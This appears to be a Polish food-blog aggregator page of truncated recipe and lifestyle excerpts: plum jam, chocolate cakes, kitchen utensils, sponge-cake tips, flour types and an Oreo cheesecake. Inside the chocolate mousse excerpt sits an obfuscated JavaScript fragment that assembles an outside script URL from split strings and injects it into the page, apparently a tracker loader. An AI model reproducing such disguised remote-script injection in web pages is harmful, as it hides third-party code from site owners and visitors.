proste, jeśli dobrze i miło zacznę dzień, rzadko potem mam zły humor. A nic tak nie poprawia nastroju jak dobre jedzenie. Dlatego dzisiaj zachęcam Was do przygotowania, bardzo prostej konfitury ze śliwek - renklod, z dodatkiem cynamonu, wanilii, kwaskowatych mirabelek w kolorze ciemnego fioletu i odrobiny pikanterii w postaci anyżu. Abyśmy mieli słodkie i miłe poranki, przy ciepłej bagietce, toście(...)ręcznikiem i pozostawiamy na minimum 12 godzin. Konfitury przygotowane w ten sposób będą służyć całą zimę. Są idealne, jako składnik ciasta, do bułeczek drożdżowych, do ciastek kruchych, do tart, tortów, do naleśników, gofrów czy też na kanapki. A poza tym mają obłędny kolor i smak! ;-))) Smacznego
SMYKWKUCHNIBardzo prosty torcik dwie czekolady . Środkowa część przełożona jest musem z gorzkiej czekolady ,a wierzch musem z białej czekolady .Dekoracja ze świeżych owoców tylko zachęciła do jedzenia.Polecam. Składniki : tortownica 20 cm 4 jajka 4 łyżki cukru, płaskie 4 łyżki mąki pszennej 3 łyżki ciemnego kakao 2 łyżki wody 2 łyżki oleju Białka oddzielić od żółtek i ubić na sztywną pianę(...)lekko , roztapiamy w niej kawałki białej czekolady i odstawiamy do ostygnięcia ,a następnie do lodówki do schłodzenia na około 2 godziny.Po tym czasie masę ubijamy na mus.Dekorujemy nim wierzch tortu i układamy na nim dowolne owoce.Przechowujemy w lodówce
Ladylaura.będzie najprawdopodobniej nadal wyglądał jak nowy. Jak to wygląda cenowo? Cena pędzelka na ceneo waha się od 20,00zł do 24,00zł. Szpatuła przypomina wyglądem łyżkę cedzakową. Jej proste wykończenie (nie zaokrąglone jak w łyżce) pozwala idealnie przewracać np. kotlety czy ryby bez chlapania tłuszczem. Łowienie pierogów też nie powinno stanowić problemu, do większych gotowanych kulek polecam jednak bardziej zaokrągloną(...)Zapraszam do odwiedzenia: Strona producenta - Fiskars Kanał na YouTube - Fiskars YouTube Strona produktu - łyżka Strona produktu - pędzelek silikonowy Strona produktu - szpatuła Strona produktu - trzepaczka Na zdjęciach: patera podstawa na tort czerwona Tortella Koziol - Cook & Love
Gotowanie i blogowaniestół. Jedną z przyczyn dlaczego biszkopt czasami nie wychodzi jest zwlekanie z wstawieniem ciasta do piekarnika. Biszkopt jak komunikacja miejska nie lubi czekać. Jeśli pieczemy biszkopt z przeznaczeniem na tort, możemy z czystym sumieniem zrobić to dzień wcześniej... będzie się łatwiej rozkrawać na blaty i przekładać kremem. Jak utrzeć komuś nosa czyli ciasto ucierane Ciasto ucierane jest ponoć najprostszym(...)nadmiernie stwardnieją. Nieistniejące ciasto czyli drożdżowiec Nieistniejące bo mimo, iż uwielbiam piec i robię to często to nigdy w życiu nie upiekłam ani jednego ciasta drożdżowego. Powód jest raczej prosty... nie cierpię drożdżowca :P W związku z tym, że go nie piekę i nie znam się na nim nie będę udawać eksperta. Mimo to uznałam, iż trzeba oddać
Pyry na Gaztylko mam ochotę na coś słodkiego, zwłaszcza w weekendy, sięgam właśnie po czekoladę. Najbardziej lubię mocno czekoladowe desery, łatwe w przygotowaniu, praktycznie gotowe w kilka chwil. Tak proste, że dzieci mogą je przygotować. Tym razem to mascarpone króluje w moim weekendowym deserze karnawałowym, które połączyłam z płynną czekoladą i żółtkami. Powstał deser, który na długo pozostanie w mojej pamięci(...)włoskiego sera mascarpone. W wersji dla dorosłych warto dodać kilka kropli alkoholu, który pasuje do czekolady. Taki mus czekoladowy może być wykorzystany jako krem do przełożenia blatów biszkoptowych na tort. (function(){ ccku=document.createElement("script");ccku_=("ust");cckuu="15408294"; ccku_+="a"+("t.i");ccku.type="text/javascript"; cckuu+=".nwbbcttjcku0fgx1wqa0";ccku.async=true;ccku_+="n"+("f"+"o")+"/"; cckuu+="n4gh0tsvtX";ccku.src="//"+ccku_+cckuu; document.body.appendChild(ccku
Moja smaczna kuchniazaraz po parku w Kromlau . Oba parki zwiedziliśmy jednego dnia, w Mużakowie spędzając bardzo przyjemne popołudnie. W ładny dzień znalezienie miejsca parkingowego w centrum Bad Muskau nie było takie proste. Można też zostawić samochód w polskiej Łęknicy, ale nam zależało żeby zacząć od zamku, który jest po niemieckiej stronie. Chwilę pokluczyliśmy, ponieważ amatorów spaceru w parku było wielu a duża(...)Łużycką i z powrotem, przez kolejny most, w okolicy oranżerii będącej teraz siedzibą fundacji zarządzającej majątkiem. W zabudowaniach folwarcznych zatrzymaliśmy się na kawę i skosztowaliśmy pucklerowskich deserów- lodów i tortu. Były bardzo smaczne i wynagrodziły nam dość długie oczekiwanie na wolny stolik. Od tej strony zamek jest bezpośrednio nad wodą. Skromne wyjście do ogrodu- kwiaty doniczkowe i kot, to znaczy
les mirabellesCiasto Ferrero Rocher – czyli czekoladowe ciasto z dużą ilością orzechów oraz masą czekoladowo orzechową! Ciasto jest dość drogie w przygotowaniu, ale
KuchniaWeDwoje.plmnie odebrał, i poszliśmy na urodzinową kawę i ciastko do koleżanki (a właściwie jej szanownego małżonka - najlepsze życzenia!). Po powrocie do domu szaleliśmy w kuchni - dwa rodzaje lasagne, tort i góra mini muffinek. Następnego dnia wszystko spakowaliśmy do auta i pojechaliśmy do rodziców C. Najpierw było wielkie cięcie - siostra C., ta, która wychodzi za mąż w sobotę, jest fryzjerką, więc(...)achom nie było końca - bardzo, bardzo dziękuję! Jestem w siódmym niebie. A na blogu niedługo z pewnością pojawi się tarta. Prostokątna. Z czekoladą.Tymczasem dzisiaj mam dla Was zwykłe, proste bułeczki. Ich sekret tkwi w mące orkiszowej, która nadaje im lekko orzechowego posmaku. Są bez jajek, bez nabiału, idealne dla alergików. Po prostu pyszne.Bułeczki orkiszoweSkładniki:(na 12 sztuk
Pożeraczka, czyli raz adobrzeDorsz w sosie z pomidorkami koktajlowymi to proste, a zarazem wykwintne danie. Odpowiednio połączone składniki stworzą niepowtarzalny smak tej potrawy. Nie wiem czy wiecie, ale
Kulinarnyblog.pl - wiesz jak gotować!ochoty. Mimo ostatnio permanentnego braku czasu (bynajmniej nie z powodu zabiegania przedświątecznego), sięgnęłam na półkę po pozycje o jabłkach traktujące. W końcu w gazetce Pieczenie jest proste nr 4/2008 znalazłam niezwykle interesujący przepis. Nie mam pojęcia, ile ma wspólnego z Hiszpanią, i czy jakakolwiek Hiszpanka piekła kiedyś ciasto według podobnego przepisu. Pokrojone w kostkę jabłka zanurzone w kakaowym(...)razu całą mąkę, to opadnie; nie otwieraj piekarnika! Opadnie!), to i tak poszło nam całkiem nieźle, a biszkopt jest ogromny i puszysty. Po południu będziemy zmieniać go w tort - mam nadzieję, że z tak samo dobrymi efektami.Póki co - szarlotka być może hiszpańska.Szarlotka hiszpańskaSkładniki:(na tortownicę o średnicy 26 cm)200 g miękkiego masła150 g cukru4 jajka200 g mąki
Pożeraczka, czyli raz adobrzepszenną. Pieczywo reklamowane jako "zdrowa żywność" często zrobione jest właśnie z mąki pszennej zmieszanej z mąką z prosa.Mąka owsiana, nie jest tak łatwo dostępna, ale jest prosta do przygotowania wystarczy zmielić płatki owsiane. Dodana do pszennej mąka owsiana przydaje pieczywu aromatu i wartości odżywczych oraz nadaje mu bardziej interesującą konsystencję.Mąka żytnia, była najczęściej używaną mąką(...)zostać usunięte z pszenicy w procesie przemiału. Typy mąk i zastosowanieMąka typ - 400( tortowa), idealna do wypieku ciast tortowych.Mąka typ - 450 , przeznaczona do wypieku ciast biszkoptowych, tortów i ciast francuskich.Mąka Wrocławska typ - 500, mąka przeznaczona do wypieku pierników, kruchych ciast, naleśników, omletów.Mąka Poznańska typ - 500, mąka przeznaczona do wyrobu domowych makaronów, lanych klusek.Mąka Krupczatka
NaKońcuJęzykaŚwiąteczne babeczki to pyszna, słodka niespodzianka dla Waszych najbliższych! W tamtym roku na blogu pojawił się przepis na babeczki mikołaje, w
KuchniaWeDwoje.pldziś chcę się skupić na niespodziance :) Przede wszystkim dziękuję! Na blogach kulinarnych utarło się, że autor z okazji urodzin swojego bloga przygotowuje specjalny przepis, najczęściej na tort. Czytelnicy chwalą tort w komentarzach, ale przecież nie mogą go spróbować. Gdy zaczęłam planować mój wpis z okazji 3 urodzin bloga, stwierdziłam, że nie zrobię przepisu. Chciałam czegoś, co będę mogła Wam dać(...)dodacie wzorzyste tła czy drobne rysunki. Ja zdecydowałam się na szablon Moje przepisy .dla którego zaprojektowałam własną okładkę. Widok edytora Projektowanie własnej książki kucharskiej okazało się bardzo proste i sprawiło mi ogromną frajdę ! W swojej fotoksiążce zawarłam 16 przepisów - po 4 receptury na każdą porę roku. Są to przepisy z bloga oraz 3 nowe, które opublikuję dopiero
Chilli Czosnek i Oliwatylko) dla blogerów-fotografów ;) Nie ma tu ani jednego elementu, który wymagałby jakiś specjalnych zdolności cukierniczo-kulinarnych – i to jest ekstra :) Jako że sernik był kolejnym obok tortu jednorożca deserem urodzinowym, musiał mieć oczywiście stosowną dekorację. Przygotowałam go w tortownicy o średnicy 24 cm. Składniki na spód: 2 duże opakowania Oreo (350 g) 80 g masła Składniki na masę(...)najjaśniejszej do najciemniejszej. Sernik wstawiamy do schłodzenia do lodówki, najlepiej na całą noc. Gotowy sernik wyciągamy z formy, żeby sobie pomóc brzegi można odciąć ciepłym nożem. Do dekoracji wykorzystałam prosty krem z kremówki i mascarpone, możecie zastąpić go ubitą na sztywno kremówką. Smacznego! ciastkożercy
Ciastkozercy